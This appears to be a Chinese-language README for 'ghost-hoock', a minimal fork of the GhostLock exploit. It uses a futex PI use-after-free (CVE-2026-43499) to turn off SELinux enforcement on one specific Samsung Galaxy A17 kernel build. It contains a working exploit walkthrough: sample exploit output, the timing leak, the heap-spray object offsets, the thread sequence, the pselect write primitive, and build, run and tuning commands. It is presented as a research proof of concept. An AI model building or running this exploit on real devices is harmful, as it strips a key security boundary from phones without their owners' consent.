GhostLock 的一个极简分支,仅保留一个原语:通过 CVE-2026-43499(futex PI UAF)关闭 SELinux。
ghost-hoock 是 Mobile Hacking Lab 所开发的 GhostLock 漏洞利用程序的精简分支,被缩减为单一原语:
通过 futex PI UAF 实现一次受限写入 ->
selinux_enforcing = 0。
没有 root,没有 cred 覆写,没有 rwforge 通道,没有 UMH,没有 configfs。仅保留在存在漏洞的内核上将 SELinux 切换为宽容模式所需的最少内容。
在 Samsung Galaxy A17(SM-A175F,BZA5) 上的示例输出:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
然后:
$ getenforce
Permissive
getenforce 返回 Permissive
该漏洞利用针对 CVE-2026-43499 —— Linux 内核 futex PI(优先级继承)rt_mutex 链中的一处释放后使用(use-after-free)漏洞。ghost-hoock 中的利用链分为四步:
针对内核 futex 哈希表的计时侧信道。我们在一组用户态 futex 上反复触发 FUTEX_WAKE_PRIVATE,测量 rdtsc 差值,并关联哈希桶碰撞。由此可恢复出我们自身 mm_struct 的地址 —— 也就是我们后续所需的喷射页基址。
这是 KernelSnitch 技术,直接取自原始漏洞利用代码。
我们分配一个大的 order-3 slab 页,然后按 PI 路径所用的伪造对象布局进行布置:
| 偏移 | 对象 | 用途 |
|---|---|---|
0x0E80 | fake_lock | 伪造的 rt_mutex |
0x0F80 | fake_fops | 伪造的 file_operations 表 |
0x1180 | fake_w0 | 伪造的 rt_mutex_waiter,用作目标树 |
0x1240 | fake_right | 伪造的 rb-tree 右节点 —— 写入值即来源于此 |
0x1260 | fake_left | 伪造的 rb-tree 左节点 |
0x1280 | fake_task | 伪造的 task_struct |
整个页通过 AF_UNIX socket 以 sendmsg 发送 SKB_SEND_SIZE = 2 * ORDER3_SIZE 大小的数据,使 skb 数据落在我们泄露的页上。随后我们按受控顺序释放它,使我们的页最终落在可回收的 per-cpu partial slab 上。
三个线程:
f_wait 上进入 FUTEX_WAIT_REQUEUE_PI,目标为 f_pi_target。f_pi_target 上持有 FUTEX_LOCK_PI,随后在 f_pi_chain 上持有。sched_setattr(tid, SCHED_BATCH, nice=19) 作用于 waiter 的 TID,从而触发 rt_mutex_setprio() 并强制内核遍历伪造的 PI 树。主线程的第四次调用 —— FUTEX_CMP_REQUEUE_PI(1, f_pi_target) —— 启动重新排队。在内核内部,rb_erase() 会针对我们的伪造树执行。
pselect() / select() 会将用户的 fd_set 复制到内核栈中,随后遍历它。我们安排 fd_set 位图,使内核视为 rb-tree 指针的那些字落在 fake_right 及其父节点上 —— 由此产生的 rb_set_parent(child, parent) 就变成了:
*(uint64_t *)target = value | color
对于 mode = 1(写入 1),target = selinux_enforcing 且 value = base + 0x100,其编码为 byte0 = 0, byte1 = 1。内核向 selinux_enforcing[0] 写入 0 —— SELinux 现在处于宽容模式。
ret = 6(而非默认的 9)确认写入已生效:消费者在 select() 期间命中了目标,从而被提前唤醒。
这是 mobilehackinglab/ghostlock-a17(MIT)的一个分支。以下内容1:1 取自上游漏洞利用代码:
| 组件 | 文件 | 备注 |
|---|---|---|
| KernelSnitch | src/kernelsnitch/* | 通过 futex 哈希时序泄露 mm_struct |
| 堆喷射 | src/spray.c | 伪造对象布局、prepare_skb_payload、prepare_kernel_page |
| PI 路由 + pselect | src/route.c | prepare_pselect_fdsets、do_pselect_fake_lock_route、consumer_thread、waiter_thread、owner_thread |
| BZA5 偏移 | include/offsets_bza5.h | 从 6.12.23-android16-5-abA175FXXS5BZD2-4k 提取的符号表 |
| BZA5 目标头文件 | include/target.h | 地址布局、载荷偏移(仅 W1 子集) |
| 运行时结构体偏移 | include/runtime_struct_offsets.h | 用于 task_struct 字段的 _RSO() 宏 |
辅助代码(pr_* 宏、SYSCHK、pin_to_core、set_limit、set_unbuffer)也按原样保留。
原始 GhostLock 在 A17 上实现了完整 root:它安装 rwforge 物理读/写通道、修补 cred / real_cred、以 init 凭据运行 UMH 辅助程序、捕获日志等等。在 ghost-hoock 中,第一次受限写入之后的所有内容均被移除。
| 移除的文件 | 它在原始版本中存在的原因 |
|---|---|
rwforge_a17.c | 通过 pipe_buffers 实现的 marching-forger 物理读/写通道 |
pipe_physrw.c、pipe_reclaim.c | 管道缓冲区回收 -> 任意内核读/写 |
root.c | cred / real_cred 覆写、安装 su、修补 SELinux SID |
umh_root.c、wq_umh_root()(位于 main.c) | 从伪造的内核工作队列项运行 init 凭据辅助程序 |
slide.c | 通过 boot_id 预言机泄露 KASLR —— 在 BZA5 上不需要,KASLR 已关闭 |
miniadb.c | 通过 ADB TCP 进行引导 |
try_cfi_stage()(位于 fops.c) | 用于引导 root 路径的 CFI 友好 configfs 阶段 |
run_rwforge()、run_bootid_oracle()、rwforge_root_and_capture() | 整个 root 流程 |
install_embedded_su()、install_embedded_wallpaper() | Root 安装辅助程序 |
写入 2(cred)、patch_cred_*、patch_task_seccomp | W1 之后的凭据接管 |
原始 GhostLock 仍然比这个分支更完整、更强大。ghost-hoock 并非替代品 —— 它是一个最小 PoC,只针对一个狭窄任务:关闭 SELinux。
需要在 $PATH 中有 clang 和 make。已在 Termux 上测试;如果工具链存在,也可通过 adb shell 使用。
git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make
输出:./ghost-hoock(aarch64,PIE)。
通过 Android NDK(在 PC 上)
make NDK=/path/to/android-ndk-r26
或手动执行:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
交叉编译检查
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
选项
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
环境变量
· GHOSTLOCK_CORE — 0..N。消费者线程绑定到的 CPU 核心。默认值:0。 · KPHYS — 0x.... 内核物理加载地址,如果它与 P0_KERNEL_PHYS_LOAD 不同。 · PREPARE_SLABS — 4..64。在喷射期间准备的 slab 页数量。默认值:32。 · PSELECT_SHIFT — -14..14。fd_set 字位移。仅用于调试。 · FOPS_MAX_ATTEMPTS — 4..72。FOPS 载荷的 prepare_kernel_page 最大尝试次数。 · RWF_DEBUG — 任意值。打印载荷构建过程中的调试行。
6.12.23-android16-5-abA175FXXS5BZD2-4k。shell SELinux 上下文(u:r:shell:s0)运行,而不是从应用运行。